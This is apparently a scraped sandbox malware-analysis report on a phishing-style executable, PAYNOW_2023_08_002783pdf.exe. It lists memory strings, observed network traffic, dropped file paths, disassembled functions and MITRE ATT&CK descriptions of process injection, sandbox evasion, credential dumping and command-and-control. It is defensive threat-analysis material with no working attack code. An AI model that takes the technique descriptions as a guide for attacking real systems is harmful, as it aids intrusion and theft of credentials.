Source: ipconfig.exe, 00000009.00000002.93139518061.000000000490A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003A6A000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/support/hosting-i-servery/moy-sayt-ne-rabotaet/oshibka-404
Source: ipconfig.exe, 00000009.00000002.93139518061.000000000490A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003A6A000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/vps/?utm_source=&utm_medium=expired&utm_campaign
Source: ipconfig.exe, 00000009.00000002.93139518061.000000000490A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003A6A000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/vps/cloud/?utm_source=&utm_medium=expired&utm_campaign
Source: ipconfig.exe, 00000009.00000002.93139518061.000000000490A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003A6A000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/web-tools/geoip?utm_source=&utm_medium=expired&utm_campaign
Source: ipconfig.exe, 00000009.00000002.93139518061.000000000490A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003A6A000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/web-tools/myip?utm_source=&utm_medium=expired&utm_campaign
Source: ipconfig.exe, 00000009.00000002.93139518061.000000000490A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003A6A000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/web-tools/port-checker?utm_source=&utm_medium=expired&utm_campaign
Source: ipconfig.exe, 00000009.00000002.93139518061.000000000490A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003A6A000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/whois/?utm_source=&utm_medium=expired&utm_campaign
Source: ipconfig.exe, 00000009.00000002.93139518061.000000000490A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003A6A000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/whois/check_site?utm_source=&utm_medium=expired&utm_campaign
Source: ipconfig.exe, 00000009.00000002.93139518061.00000000042C2000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003422000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://yastatic.net/pcode/adfox/loader.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Aug 2023 20:46:05 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: gzipCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 1220Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 b5 52 5d 73 da 38 14 7d cf 4c ff 83 e2 99 ed c0 a4 d8 7c 95 94 82 e9 98 0f b7 10 08 e0 f0 99 97 8c 90 65 24 10 b6 22 c9 d8 90 c9 7f 5f 3b a4 69 9a b6 bb fb b2 7a f0 e8 9e 7b 7d ee d5 b9 e7 dd 19 48 4e fd bc 3d 6c 4d 96 a3 0e 20 6a c7 c0 68 da ec 77 5b 40 cb 19 c6 bc d4 32 8c f6 a4 0d 16 df 26 83 3e 28 e8 79 30 11 d0 97 54 d1 c0 87 cc 30 3a d7 da bb 27 8e f4 68 44 29 fe d9 30 a2 28 d2 a3 92 1e 88 b5 31 71 8c 38 25 2d a4 2c cf d7 9c 7a 45 a1 bb ca d5 1a 27 8e fa 53 7b 17 2a 98 83 ee 8a 05 68 bb c5 07 53 1b d8 51 d4 1e 2f 7b 57 c1 6d 97 ec d1 b5 35 ee 34 9b 63 ab 7d 13 59 d1 8d d5 6b 5a 57 8b cb 32 8d f9 71 76 58 ac 7a 5c a0 be b7 fa 56 e6 72 54 be e8 17 b1 af ee 05 cd b3 23 a9 f0 ad 05 17 fd 51 17 21 b6 af b4 c7 4d dc eb 6d be da 73 d1 ec da 95 f1 e0 60 47 8b c9 c7 56 cb 39 6c 6e 8a 1c fb 9d 96 15 75 2c 6b 6c 9a 77 ce ad 13 17 ae 8e f1 b0 f0 a9 c5 8a d6 a0 ba e8 4f 47 95 0b 76 59 a9 ee 47 c8 2b 78 63 35 e8 5c 7a fe 76 b1 58 96 d6 a2 3f 99 4c 9d cd 3d ec 79 3d 5e 32 70 57 3a d3 5d 05 59 e3 7e c5 ad 54 da de 70 69 5c cc 79 64 99 a6 06 e2 1d f3 a5 f9 1b dd 0a d5 6a f5 24 d7 0f 71 30 74 1b a0 2e 91 a0 5c 01 75 e0 d8 d4 14 8e 95 b1 81 7b 78 42 b5 c6 1e 0a 00 57 bc 56 37 4e 48 e3 9f eb 81 14 e8 a5 3d 8e 39 0b 04 f6 04 c6 02 cb 90 29 a9 a3 60 67 f0 58 df c8 2f 88 98 05 ad f1 7f d0 16 ff 33 6d c3 0b 7d 94 da 06 10 e8 bb 0c 5b cd 51 1b 2b 8c 54 26 fb a0 c4 e1 81 7a 99 f3 e4 f1 59 20 b0 0a 85 5f 4b c5 a0 bb 35 0b d6 c0 04 6e 80 c2 5d e2 06 1d 09 0c 15 ee 30 9c 46 19 2d 29 d0 b2 b5 53 99 2e d5 81 61 9d 60 ba 26 ca d4 f2 3c d6 7e ce 44 d4 55 e4 4d e2 df 9f 2a b7 b9 a4 32 99 4c 2a a8 42 a9 73 c2 bf 40 d3 dd 38 47 78 74 8b 70 63 d3 e1 3c fa 38 5c f4 ee 6f a6 a8 38 9d c6 85 e9 71 a6 c6 f3 5b 32 2b f0 70 9c e7 a5 81 7d eb c0 39 89 66 73 b7 e5 74 d4 60 b5 48 6e 3e 99 e2 49 22 c3 dc 6e bb 33 db 59 cd f8 d2 c9 df 1e 57 1d be bf 69 bb e5 e1 d7 02 1b 6c e3 b2 33 2f d8 d3 a9 33 9e 6d 95 8d 4a 83 e2 b5 cf 09 ea a8 68 39 57 57 37 a5 eb ee 24 bf 8d 56 45 79 b8 ca ab fc 6c b1 2c 4c 4b eb fd f2 38 88 dc e2 b6 e8 74 aa 23 78 b4 cc f7 2b 53 bb 48 7d f5 a2 e2 2a 70 0f 3a e4 1c fb 6e 8b 50 e6 66 4e 72 24 4a 7a 99 74 7b 81 97 fa 10 8b 50 30 70 6e 9a 40 0b 7d 17 7b d4 c7 ae 06 de bf 7f c9 9d 9b 9a 96 8d a8 ef 06 91 ae 02 ae b3 00 c1 74 c3 e6 f7 82 da 63 02 20 92 c1 42 64 1f 1e 1f 5f 9c f2 ee 0c 3c 9f fa 0e 2b 08 d2 0d e4 f0 7d 48 f7 a6 d6 0a 7c 95 cc 98 9b 24 73 68 00 9d a2 67 3b 11 b5 63 35 80 08 14 12 2b 33 54 5e ee 93 66 fc c2 e6 c3 5d e2 bf 3d c5 11 0f 84 7a c5 71 32 80 8b f7 14 e1 dc 53 f0 01 50 9f 2a 0a 59 4e 22 c8 b0 59 f8 00 42 89 c5 53 04 57 09 e0 07 40 12 41 fd 6d 4e 05 39 8f aa 04 d0 5e 37 64 49 0a 90 c4 35 27 1b c9 c4 47 5e d2 4e
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Aug 2023 20:46:08 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: gzipCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 1225Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 b5 52 db 72 da 3a 14 7d cf 4c ff 41 d1 cc e9 c0 a4 d8 5c 52 12 0a a6 c3 cd 21 84 3b e6 96 97 8e 90 64 6c 90 2d 47 12 18 c8 e4 df 8f 1d a7 69 9a b6 e7 9c 97 a3 07 8f f6 da db 6b 6f ad bd 3e 9c 81 e8 54 ce 9b 83 86 b5 1c b6 80 a3 3c 06 86 d3 7a f7 b6 01 60 46 d7 e7 85 86 ae 37 ad 26 58 b4 ad 5e 17 e4 b4 2c b0 04 f2 a5 ab 5c ee 23 a6 eb ad 3e fc f0 cc 11 1f e8 28 15 7c d1 f5 30 0c b5 b0 a0 71 b1 d6 ad b1 7e 88 49 73 31 cb cb 35 a3 de 50 68 44 11 58 4d 38 2a cf ed 09 52 28 83 c8 8a 71 bc dd d2 a3 01 7b 66 18 36 47 cb ce 1d bf bf 75 f6 b8 5f 1b b5 ea f5 51 ad 39 09 6b e1 a4 d6 a9 d7 ee 16 57 97 ee 21 38 cd 8e 8b 55 27 10 b8 6b af da 97 81 1c 5e 5e 74 f3 d4 57 0f c2 cd b2 93 53 0c b6 35 b4 e8 0e 6f 31 66 fb 62 73 54 a7 9d ce e6 c6 9c 8b fa ad 59 1c f5 8e 66 b8 b0 3e 37 1a e3 e3 66 92 0f a8 df 6a d4 c2 56 ad 36 32 8c 6f e3 fb f1 21 77 77 3a 0c 72 d7 0d 96 af f5 4a 8b ee 74 58 bc 60 57 c5 d2 7e 88 ed 9c 3d 52 bd d6 95 ed 6f 17 8b 65 61 2d ba 96 35 1d 6f 1e 50 c7 ee 04 05 9d de ca f1 d4 2b e2 da a8 5b 24 c5 62 d3 1e 2c f5 8b 79 10 d6 0c 03 82 83 c7 7c 69 fc 46 b7 5c a9 54 4a e4 fa 21 0e 45 a4 0a 2a 12 0b 37 50 40 1d 03 6a 40 45 0f 4a df a0 3d 4a 50 58 dd 23 01 d0 2a 28 57 f4 04 a9 fe 73 3d 90 02 bf b6 a7 87 80 71 41 6d 41 a9 a0 72 c7 94 d4 30 f7 f4 e0 a0 6d e4 57 ec 18 39 58 fd 3f 68 f3 ff 99 b6 6a ef 7c 1c db 06 38 c8 27 8c d6 ea c3 26 55 14 ab 54 fa 51 89 e3 a3 6b a7 ce a3 c7 a7 81 a0 6a 27 fc 72 2c 86 eb ad 19 5f 03 03 10 8e 77 5e e4 06 0d 0b 8a 14 6d 31 1a 47 29 18 15 c0 74 39 29 d3 a4 3a 32 aa 39 d4 5d 3b ca 80 d9 e0 00 7f ce 84 2e 51 ce bb c4 bf 3f 55 6e 33 51 65 34 99 54 48 ed a4 16 38 c1 57 64 90 96 c3 47 a7 ed c1 5a b4 f6 4b cb dc 20 b6 fd 3c ce 07 a7 81 39 12 ab 45 ff 34 b8 19 5f 4e 7c b6 9b cf fa 97 fd 0d 63 c4 9a b5 26 39 56 ef 5b e6 71 d2 1e 6f 46 d6 78 36 29 74 f8 ea 86 f4 48 b3 be a5 6d 73 d1 cd ce bc 49 9e 88 59 be b3 59 59 4b 31 f5 b2 a7 de cd ac 3b 9f 1f e4 dc 72 04 9e 75 2e 57 53 f3 48 a7 0a 61 b3 df 1c cf 49 61 d5 22 a7 55 96 58 f7 db f1 6c 3a ed df 2e 4f e3 7b d4 ae 37 06 ed fe 8c 78 fd db b9 d5 32 3e ae 0c 78 11 fb ea 55 c5 15 27 47 0d 05 01 f5 49 c3 71 19 49 25 72 44 4a da a9 78 7b dc 8e 7d 48 c5 4e 30 70 6e 18 00 ee 7c 42 6d d7 a7 04 82 8f 1f 5f 73 e7 06 84 e9 d0 f5 09 0f 35 c5 03 8d 71 8c e2 0d 1b df 0b ca 4f 11 80 9d 14 15 22 fd f8 f4 f4 ea 94 0f 67 e0 e5 54 3c aa 10 88 37 90 a1 0f 3b 77 6f c0 06 f7 55 34 63 c6 8a e6 80 00 27 d1 8b 9d 1c e5 b1 32 c0 0e 12 92 2a 63 a7 ec cc 35 d4 7f 61 f3 91 17 f9 6f ef d2 30 e0 42 bd e1 48 0c 40 e8 de c5 34 f3 1c 7c 02 ae ef 2a 17 b1 8c c4 88 51 23 f7 09 ec 24 15 cf 11 5a 45 80 cf 81 74 84 eb 6f 33 8a 67 6c 57 45 00 7c db 90 45 29 e0 44 ae 49 6c 24 23 1f d9

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PAYNOW_2023_08_002783pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\1577Z44ZL

C:\Users\user\AppData\Local\Temp\assda.ini

C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll

C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Gnathopodous\Kges.Way

C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Gnathopodous\Notice.txt

C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Gnathopodous\Planetarium.Eks

C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Gnathopodous\br.txt

C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Lselystens143\sport_basketball.PNG

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Windows Analysis Report
PAYNOW_2023_08_002783pdf.exe

Function 00403312 Relevance: 93.1, APIs: 32, Strings: 21, Instructions: 366
stringcomfileCOMMON

Function 00405326 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 282
windowclipboardmemoryCOMMON

Function 00405889 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Function 00406435 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14
fileCOMMON

Function 004067BE Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Function 00405F47 Relevance: 1.5, APIs: 1, Instructions: 19
registryCOMMON

Function 00403C71 Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 346
windowstringCOMMON

Function 004038D4 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00402EA1 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Function 00406154 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 199
stringCOMMON

Function 00401759 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 147
stringtimeCOMMON

Function 004030D8 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 155
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre